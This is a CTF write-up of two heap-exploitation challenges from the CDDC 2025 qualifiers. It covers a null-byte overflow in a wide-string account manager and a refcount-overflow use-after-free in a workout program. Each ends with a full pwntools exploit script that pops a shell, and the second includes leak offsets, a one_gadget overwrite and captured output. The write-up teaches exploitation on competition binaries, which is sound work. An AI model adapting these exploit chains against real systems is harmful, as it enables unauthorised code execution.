Cyber Defender's Discovery Camp 2025 Qualifiers
The Pwn challenges from CDDC this year were significantly more tedious than past years (every one of the four challenges is stripped and implements its own custom memory allocator), but ended up being rewarding due to the fun bugs that were found after reverse engineering them.
Account Protocol
After some reversing, we can identify the following operations for the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def create_account(account_type, data):
"""Opcode 0: Create account
account_type: 0 = binary/wide string, 1 = regular string
Returns: account_id (0-15) or -1 on failure
"""
payload = p8(0) + p8(account_type) + data
s(payload)
def delete_account(account_id):
"""Opcode 1: Delete account (op_1)"""
payload = p8(1) + p8(account_id)
s(payload)
def update_account(account_id, account_type, data):
"""Opcode 2: Update account data
account_type: 0 = binary/wide string, 1 = regular string
"""
payload = p8(2) + p8(account_id) + p8(account_type) + data
s(payload)
def display_account(account_id):
"""Opcode 3: Display account data"""
payload = p8(3) + p8(account_id)
s(payload)
def execute_command():
"""Opcode 255: Execute system command"""
payload = p8(255)
s(payload)
We basically get a CRUD menu where we can create, read, update and delete accounts. The accounts hold an account_type
(wide or regular string) and an account_name
(up to 254 characters) and is referred to via an incrementing account_id
(total of 16 accounts allowed).
memory allocation
Upon allocation of a new account, it will allocate two memory chunks using their custom memory alloactor. One to store an account_metadata
struct and the other to store the raw account_name
data.
1
2
3
4
5
6
7
8
struct account
{
uint8_t type; // wide_str = 0, regular_str = 1
uint8_t ref_count;
char *data_ptr; // pointer to account_name
};
acc_metadata = (struct account_metadata *)custom_malloc(0x18u);
acc_data = (char *)custom_malloc(sz);
The custom allocator stores all the memory chunks adjacent to one another in its own mmap'ed
buffer. Unlike regular malloc
, there is no metadata that comes with each memory chunk (such as the chunk size etc).
wide string vs regular string
The program differentiates between a wide string and a regular string. Unlike the regular strlen
or strncpy
that is used for regular strings, the program implements its own functions to implement the equivalent wide-string functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
size_t wide_strlen(_BYTE *wstr)
{
bool v2; // [rsp+1h] [rbp-19h]
size_t length; // [rsp+Ah] [rbp-10h]
for ( length = 0LL; ; ++length )
{
v2 = 1;
if ( !*wstr )
v2 = wstr[1] != 0;
if ( !v2 )
break;
wstr += 2;
}
return length;
}
void copy_wide_string(_BYTE *dst, _BYTE *src)
{
bool v2; // [rsp+1h] [rbp-21h]
while ( 1 )
{
v2 = 1;
if ( !*src )
v2 = src[1] != 0;
if ( !v2 )
break;
*dst = *src;
dst[1] = src[1];
dst += 2;
src += 2;
}
*dst = 0;
dst[1] = 0;
}
the attack target
One of the functionality for the program is to run system(command)
where command is a hardcoded-string that is allocated after running the command for the first time.
If we are able to overwrite the command on the heap to /bin/sh
, we can eventually pop a shell.
the bug
When calling update_account
, you can modify an account type between a regular string and wide-string.
- Create a regular account of
account_name
with an even-length size (i.e. 20). - If we convert
account
into a wide-string, it will cause a null-byte overflow when writing the 2 null-byte terminator for the wide-string.
If we can arrange the custom-heap such that the null-byte overflows into a meta-data chunk, we can write a null byte to an adjacent account_metadata->type
.
This means that we can use the overflow to change a regular string type into a wide string type, despite it only having a single null byte terminator.
When updating an account, it determines the size of the
account_data
by doing a strlen/wide_strlen based on the type of the account data.This means that if we convert a regular string to a wide-string, the wide_strlen will read into the next adjacent chunk due to the lack of a wide-string terminator (2 null-bytes). This causes wide_strlen to return a larger value and allows us to overwrite the adjacent heap chunk.
the exploit
In order to get this to work, we want to arrange our heap into this state.
- Allocate Account A (regular-str)
- Allocate Account B (regular-str)
- Allocate COMMAND
1
2
3
4
5
6
7
8
9
meta A
________
data A
________
meta B
________
data B
________
CMD
data A
null-byte overflows intometa B
to convert it to a wide-string.data B
overflows intocommand
to overwrite it.- run
system(command)
to get our shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
elf = context.binary = ELF("./account")
libc = elf.libc
if args.REMOTE:
p = remote("cddc2025-challs-nlb-579269aea83cde66.elb.ap-southeast-1.amazonaws.com", 7777)
else:
p = elf.process()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
def create_account(account_type, data):
"""Opcode 0: Create account
account_type: 0 = binary/wide string, 1 = regular string
Returns: account_id (0-15) or -1 on failure
"""
payload = p8(0) + p8(account_type) + data
s(payload)
def delete_account(account_id):
"""Opcode 1: Delete account (op_1)"""
payload = p8(1) + p8(account_id)
s(payload)
def update_account(account_id, mode, data):
"""Opcode 2: Update account data
mode: 0 = binary/wide string, 1 = regular string
"""
payload = p8(2) + p8(account_id) + p8(mode) + data
s(payload)
def display_account(account_id):
"""Opcode 3: Display account data"""
payload = p8(3) + p8(account_id)
s(payload)
def execute_command():
"""Opcode 255: Execute system command"""
payload = p8(255)
s(payload)
# setup heap state
create_account(1, b"A"*30)
pause()
create_account(1, b"B"*1)
pause()
execute_command()
pause()
# null-byte overflow
update_account(0, 0, b"D"*30)
pause()
# overflow
update_account(1, 0, b"D /bin/bash")
pause()
# run command
execute_command()
pause()
p.interactive()
Workout
Upon running the program, we are shown a long interactive menu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*----------*
| WORK OUT |
*----------*
1. New exercise
2. List exercises
3. Delete exercise
4. New routine
5. List routines
6. Delete routine
7. Set exercise to routine
8. Remove exercise from routine
9. Swap exercises in routine
10. View routine details
0. Exit
A tl;dr of how this works is
- Uses a custom sophisticated memory allocator that allows for memory reuse and memory coalescing.
- Create up to 10
Exercise
objects that holds anchar exercise_name[38]
- Create up to 7
Routine
objects that holds up to 10Exercise
objects. - Each
Exercise
object uses auint8 refcount
to determine when it should be free-ed.
The memory allocator is used to allocate Routine
and Exercise
objects.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct Routine
{
void *vtable;
unsigned __int8 day;
void *exercises[10];
}; // size 0x60
struct Exercise
{
ExerciseVTable *vtable;
unsigned __int8 refcount;
unsigned __int8 id;
char name[38];
}; // size 0x30
the bug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 xor_swap_routine_entries(
__int64 this,
WorkoutRoutine *routine,
unsigned __int8 ex_id_1,
unsigned __int8 ex_id_2)
{
// ... truncated ...
if ( ex_id_1 < 0xAu && ex_id_2_ < 0xAu )
{
ex1 = &routine->exercise_slots[ex_id_1_];
ex2 = &routine->exercise_slots[ex_id_2_]; // if v15 == v14, then v8 == v9. This nulls the exercise_slot.
*ex1 = (*ex1 ^ *ex2);
*ex2 = (*ex2 ^ *ex1);
*ex1 = (*ex1 ^ *ex2);
create_success_result();
wrap_success_result(a1);
}
// ... truncated ...
}
- Adding an
Exercise
toRoutine
increases theExercise->refcount
by 1 - Swapping the
Exercise
with itself inRoutine
removes the pointer from theRoutine
- Repeat Step 1 256 times to overflow
Exercise->refcount
back to 1. - Delete the
Exercise
from theRoutine
which callsdestruct_exercise
to decrementExercise->refcount
to 0 which results in it getting free-ed. - Since we did not delete the
Exercise
, we still hold a pointer to the free-edExercise
object and have a UAF.
the exploit
After we have the UAF, we can allocate another Routine
to re-use the free-ed memory. Now we have an overlapping Exercise
and Routine
.
We can delete and re-allocate the exercise to overwrite the Routine->exercises[]
pointers.
This gives us an arbitrary read and arbitrary free. We can create fake chunks to be free-ed and overwrite the vtable
entry to point to a one_gadget
to pop a shell.
exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *
from tqdm import tqdm
elf = context.binary = ELF("workout")
libc = elf.libc
# if args.REMOTE:
# p = remote("localhost", 9999)
p = remote("cddc2025-challs-nlb-579269aea83cde66.elb.ap-southeast-1.amazonaws.com", 9999)
# else:
# p = elf.process()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
def new_exercise(name):
sla(b"Menu>>", b"1")
sla(b"Name>>", name)
def list_exercise():
sla(b"Menu>>", b"2")
def delete_exercise(id):
sla(b"Menu>>", b"3")
sla(b"id>>", str(id).encode())
def new_routine(id):
sla(b"Menu>>", b"4")
sla(b"0)>>", str(id).encode())
def list_routine():
sla(b"Menu>>", b"5")
def delete_routine(id):
sla(b"Menu>>", b"6")
sla(b"0)>>", str(id).encode())
def set_exercise_to_routine(exercise_id,routine_id):
sla(b"Menu>>", b"7")
sla(b"id>>", str(exercise_id).encode())
sla(b"0)>>", str(routine_id).encode())
def remove_exercise_to_routine(exercise_id,routine_id):
sla(b"Menu>>", b"8")
sla(b"0)>>", str(routine_id).encode())
sla(b"routine>>", str(exercise_id).encode())
def swap_exercise_routine(routine_id, exercise_id_1, exercise_id_2):
sla(b"Menu>>", b"9")
sla(b"0)>>", str(routine_id).encode())
sla(b"routine>>", str(exercise_id_1).encode())
sla(b"routine>>", str(exercise_id_2).encode())
def view_routine_details(id):
sla(b"Menu>>", b"10")
sla(b"0)>>", str(id).encode())
new_exercise(b"aaaaaab") # refcount = 1
new_routine(0)
# overflow refcount to 0
for _ in tqdm(range(255)):
set_exercise_to_routine(0, 0)
swap_exercise_routine(0, 0, 0)
set_exercise_to_routine(0, 0) # refcount = 1
delete_routine(0) # refcount = 0, exercise is free-ed
new_routine(1) # day = 1, refcount = 1 (overlap)
new_exercise(b"zz")
new_exercise(b"XXXXXXXXX")
new_exercise(b"QQQQQQQQX")
delete_exercise(0)
set_exercise_to_routine(1, 1) # write a pointer to routine->exercise[0]
# leak custom memory manager base
new_exercise(b"aaaaaa\x01")
view_routine_details(1)
ru(b"aaaaa")
memorymanager_base = unpack(rl().strip(), "all") - 1
print(f"memory manager base @ {hex(memorymanager_base)}")
# leak elf base via vtable ptr
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(memorymanager_base+0x60-0xa))
view_routine_details(1)
ru(b"[0] ")
elf.address = unpack(rl().strip(), "all") - 0x1cae0
print(f"elf base @ {hex(elf.address)}")
# leak libc base via GOT
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(elf.got.setvbuf-0xa))
view_routine_details(1)
ru(b"[0] ")
libc.address = unpack(rl().strip(), "all") - libc.sym.setvbuf
print(f"libc base @ {hex(libc.address)}")
# now i want a UAF on the second part of a routine
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(memorymanager_base+0x40))
delete_exercise(2)
new_exercise(b"A"*6 + p64(0x4242424242424242) + p8(0x1))
delete_exercise(2)
new_exercise(b"A"*6 + p64(memorymanager_base+0xa0-8)) # write vtable pointer
delete_exercise(3)
new_exercise(b"A"*6 + p64(libc.address + 965765) + p8(0x1)) # write vtable entry to be called
remove_exercise_to_routine(0, 1)
p.interactive()
"""
❯ python3 solve.py
[*] '/mnt/sdb/CTF/2025/CDDC/Quals/pwn/workout/workout'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/mnt/sdb/CTF/2025/CDDC/Quals/pwn/workout/workout': pid 275476
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 255/255 [00:00<00:00, 678.38it/s]
memory manager base @ 0x7faed2d73000
elf base @ 0x55b3fcdc9000
libc base @ 0x7faed2780000
[*] Switching to interactive mode
$ cat flag
CDDC2025{THIS_IS_A_FAKE_FLAG}
"""